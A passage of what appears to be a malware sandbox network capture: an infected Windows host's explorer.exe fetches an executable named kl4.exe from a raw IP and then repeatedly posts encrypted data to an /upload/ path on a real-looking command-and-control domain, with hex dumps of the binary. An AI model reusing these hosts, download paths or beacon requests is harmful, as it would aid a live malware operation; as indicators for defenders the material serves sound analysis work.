18	192.168.2.7	49738	193.142.59.119	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:39.393585920 CEST	7082	OUT	GET /forum/images/kl4.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 193.142.59.119
Aug 19, 2021 07:53:39.427407026 CEST	7084	IN	HTTP/1.1 200 OK Date: Thu, 19 Aug 2021 05:53:39 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Last-Modified: Wed, 18 Aug 2021 15:42:15 GMT ETag: "3a4bb8-5c9d74751b684" Accept-Ranges: bytes Content-Length: 3820472 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 20 e2 00 b9 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 ca 02 00 00 20 03 00 00 00 00 00 90 b3 54 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 8a 00 00 04 00 00 1b 8c 3a 00 03 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 40 06 00 50 00 00 00 00 60 87 00 2b 0b 03 00 00 00 00 00 00 00 00 00 b0 3e 3a 00 08 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 e0 02 00 00 20 00 00 00 6c 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 2a 10 00 00 00 00 03 00 00 08 00 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 f0 9f 87 ae f0 9f 87 b9 f8 e9 02 00 00 20 03 00 00 ea 02 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 20 20 20 20 20 20 20 20 0c 00 00 00 00 20 06 00 00 02 00 00 00 62 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 20 00 00 00 40 06 00 00 02 00 00 00 64 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 68 65 6d 69 64 61 00 20 4e 00 00 60 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 aa 32 00 00 80 54 00 00 aa 32 00 00 66 04 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 f0 9f 87 ae f0 9f 87 b9 d0 08 00 00 00 40 87 00 00 0a 00 00 00 10 37 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2b 0b 03 00 00 60 87 00 00 0c 03 00 00 1a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL T @ :@:@P`+>: l ` *p@ x`` b@@.idata @d@.themida N``.boot2T2f``@7 `.rsrc+`7@@
Aug 19, 2021 07:53:39.427428007 CEST	7085	IN	Data Raw: 00 00 00 a6 24 90 3c 46 3d f0 03 fd 47 ad fa f2 b2 f8 3b 27 6c d6 32 f7 2b c9 bf f4 39 7c e7 b3 10 34 54 00 3d e7 c1 0f 2c b2 40 0b e7 63 be f6 4c d3 3c 14 4a fb a1 f4 4d b2 49 1a e2 ce 3e 0d 19 c2 51 31 1a 7b a6 d1 44 86 40 0f a1 fb 41 b1 21 cd Data Ascii: $<F=G;'l2+9\|4T=,@cL<JMI>Q1{D@A!@,47gE+SIAO7ncg04H2Db?5!F@[1gQ$bFM+#(Wi47O65JgHB[mB[Oc-Rf5$/5J(C+4K1R
Aug 19, 2021 07:53:39.427445889 CEST	7087	IN	Data Raw: 1e a2 36 75 4a d4 7f 54 f0 18 42 ca 6d 07 2c 70 6e 1f 19 af 06 90 4b 3e 7c e1 65 7d 5e f8 a3 db 36 41 95 5f db 0e 22 82 bc 1e 16 ab 7b ac 20 99 63 d6 a9 8b 46 0d 40 68 e0 12 10 b0 d6 36 b0 57 8c 45 a3 71 62 c0 01 23 6c 18 9a ee b4 01 b8 a8 3f 49 Data Ascii: 6uJTBm,pnK>\|e}^6A_"{ cF@h6WEqb#l?Il-/Z(<RTJ1 6^x07%2i`HQ~~5H+#Nz ;fQWLzh+/KLz]NXc*vt4U[b74a>-L
Aug 19, 2021 07:53:39.427462101 CEST	7088	IN	Data Raw: 27 d7 52 9d de ab 32 c7 cd ae 2c 8a 3c 4d d1 ab 18 50 38 c4 99 b4 32 cc 54 71 99 22 4c b3 d1 80 38 70 71 5f 71 c4 ff 37 6e 98 1c 44 4e 5a 96 3b 26 75 5e 5a 08 8c 33 c5 3d 5b d8 8c d2 4c c7 6d 93 0d 1f 05 35 39 5a 78 f6 b7 f2 13 99 98 98 ff 3a cd Data Ascii: 'R2,<MP82Tq"L8pq_q7nDNZ;&u^Z3=[Lm59Zx:L@R1GtzjKP8bh'V1&x(E_<tAyq!9)/m)NI: C^Q\O,c>Z7L}5tl_ zB6O8jQM48@_,
Aug 19, 2021 07:53:39.427478075 CEST	7089	IN	Data Raw: 6b be 97 f1 00 56 1a c0 88 b3 06 d9 9e 86 b3 2d 62 10 15 1e a6 99 f3 74 a5 2d c4 9b 82 00 73 1d 6d ca 09 ae 25 4d f7 c9 66 40 0c 58 55 cd 8e 0b 1c 35 fe a6 58 18 44 d0 5a ff 47 f0 57 b3 88 8b 2c 69 e2 91 8c 71 46 98 47 fa 8a b4 9c a7 3f d1 33 53 Data Ascii: kV-bt-sm%Mf@XU5XDZGW,iqFG?3Sy<LLJZz>?X9u,Rxv#\|\|(^HTs-&y>.&*";6d~{Q#>L0cyB\|m<keP5=4wBB{i9"
Aug 19, 2021 07:53:39.427494049 CEST	7091	IN	Data Raw: 3a 41 9b 0a 93 b1 52 8d 30 99 56 14 f9 14 ac ce 35 a2 f1 4c f8 52 62 96 56 d4 78 a3 b6 d6 f1 38 30 17 a5 02 c7 72 4b 8c fd 4e 32 96 36 cd 64 39 0d af 7e ff 33 a3 ac ea 6d f8 52 85 85 07 5f 05 4e ce 76 af c5 d8 cb c9 ec 1e 21 62 45 da 35 a9 c8 99 Data Ascii: :AR0V5LRbVx80rKN26d9~3mR_Nv!bE59~~zO2nlRzn?M:F<H@[xa _?BEsrCT xe7OTT!@N sru4AWM`,rJ7c#ZV~Np.dmLz/TySdd)nBNvK19^
Aug 19, 2021 07:53:39.427510023 CEST	7092	IN	Data Raw: 29 ae 62 cd 3b 22 1b 8c fc f8 28 7f 8b cf a9 a0 ba e2 cf d4 3b 87 7b 1b b7 fb 1b c6 b3 f4 ac b8 90 d2 48 12 df fa a8 4c 66 46 c1 8c 64 15 30 d0 dc b7 b8 2a 4d 08 17 e4 54 bf 02 7c 57 33 c0 55 a0 6f f8 4a 49 47 40 c8 2f 9e 21 5a e3 26 1e 93 81 11 Data Ascii: )b;"(;{HLfFd0*MT\|W3UoJIG@/!Z&FNoBO9o? '%@L%#RP<ASfYYmO$m:M?RJ [K>cL;~nP0_\|j,XO
Aug 19, 2021 07:53:39.427526951 CEST	7093	IN	Data Raw: 88 81 cb 80 ac a2 64 b3 2f 0d b7 05 90 39 4d fe f6 20 ec fe 4a 9a 32 2f 3c f3 ff af e7 a7 f2 fd 0a cd b0 0e 00 21 96 9b f0 d7 75 40 a1 18 1d 1f 2e b1 70 1d dd e3 d6 e5 36 9b 66 11 ff ed 46 be a6 20 81 84 8f fa 0f 25 8d 7c 81 03 78 f5 e2 1b a8 93 Data Ascii: d/9M J2/<!u@.p6fF %\|xnq<\|AYG7PM.}WWYn~<_IEx@L`4,B_w`vXgXa7Ny 8TP4!p,MDjONX(gX&z$L^WP=qgPaB
Aug 19, 2021 07:53:39.427544117 CEST	7095	IN	Data Raw: f3 92 34 1f 2b 27 c1 20 99 7e 28 cd c9 06 c7 17 06 9f 37 7c 5c d7 e9 8c be 86 59 72 b9 ff 4b 7f 1c df 45 6d 32 d3 99 9e 4e e1 2b 4a 19 0a 0e 79 9d 80 83 9e 8b e7 f6 b2 5b dd 79 95 52 1a 85 4d 35 06 81 70 00 31 5d 47 b1 d2 b2 25 1f cc 52 c6 72 18 Data Ascii: 4+' ~(7\|\YrKEm2N+Jy[yRM5p1]G%RrRPd!6LhziehRhO@P32\b2L_'j\|N&A1m?P1iAW=e~c!eZuwo<-atOc&ke-%iU]7RP
Aug 19, 2021 07:53:39.427563906 CEST	7096	IN	Data Raw: 1e c0 78 42 5f dc 7e fe fa 21 df 3c f0 50 ab 80 40 98 9e a5 57 20 9f 1a a3 c0 45 2e 8d 5a 47 a0 24 a5 50 28 25 68 5d 14 e3 8b eb a7 06 19 d9 3b 9a 4c 62 27 4c 9f 74 94 5c 0c 31 05 25 24 5a 01 e9 b1 54 6f 1d 34 f1 48 10 e3 35 7a 21 31 be 38 49 9a Data Ascii: xB_~!<P@W E.ZG$P(%h];Lb'Lt\1%$ZTo4H5z!18I2fv0\|$B]+~.yvsMFC#3D%#y1]QI 3A,@HC,Wi`3s$=M}#NV2%bHI#wOrO0x
Aug 19, 2021 07:53:39.461085081 CEST	7098	IN	Data Raw: b9 3e b7 21 2d 45 cd 9b 70 22 ab eb 8b 07 38 1d bc a2 94 67 06 25 6f 99 4e 21 25 0d 34 bd 3b eb 2f 8e 12 17 61 8c 0c c3 37 d5 2f df ff 47 3d 77 e2 06 b3 85 b2 18 cb b1 8d ee 34 4b 7e 9a af 5c c3 e3 53 44 cb f9 4d 9e d0 49 14 25 51 9c 96 6b a7 35 Data Ascii: >!-Ep"8g%oN!%4;/a7/G=w4K~\SDMI%Qk55b-aOp7jE2h~(>FWy9uA%71`7XEXnYaO){To^RE~Vc/6E.#<1=2ALZDBw?-Bj

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	49739	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:43.103010893 CEST	11154	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 250 Host: atvcampingtrips.com
Aug 19, 2021 07:53:43.103080034 CEST	11154	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 07 6b 2c 90 f4 76 0b 75 4f 19 a1 af Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA ,[k,vuOXT)yKW%p<m8!c#PG51[+h4j=^Nd=5;@%}Y\Q]]b`B
Aug 19, 2021 07:53:43.238862038 CEST	11155	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49714	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:07.522325993 CEST	2004	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: atvcampingtrips.com
Aug 19, 2021 07:53:07.522416115 CEST	2005	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 24 02 b7 f7 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu$0F~ZiH]rk.V }S$<)61KLf8PzvbL}q%g)Vj;@?Pnrr,XrVU=6 z
Aug 19, 2021 07:53:08.752871037 CEST	2079	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	49740	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:43.374006987 CEST	11156	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: atvcampingtrips.com
Aug 19, 2021 07:53:43.374031067 CEST	11156	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 77 03 e6 94 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vuw?Sy] 72qb3j[
Aug 19, 2021 07:53:43.515276909 CEST	11157	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	49741	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:43.653208017 CEST	11158	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: atvcampingtrips.com
Aug 19, 2021 07:53:43.653223038 CEST	11158	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 55 4f a8 ea Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vuUOqKv"PS)aelJ(X$cj<-7PriR&=sIh@t}B"4ScS),uXkUe~K91
Aug 19, 2021 07:53:43.886854887 CEST	11159	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	49742	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:44.197027922 CEST	11160	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 309 Host: atvcampingtrips.com
Aug 19, 2021 07:53:44.197079897 CEST	11160	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 30 23 ac f2 Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vu0#Z~wB]i0e.=F{\|<l/Dq_+8c<wYU,bEqn_BPAp*"hnuTouSe%)3
Aug 19, 2021 07:53:45.395860910 CEST	11162	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	49743	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:45.588974953 CEST	11163	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 269 Host: atvcampingtrips.com
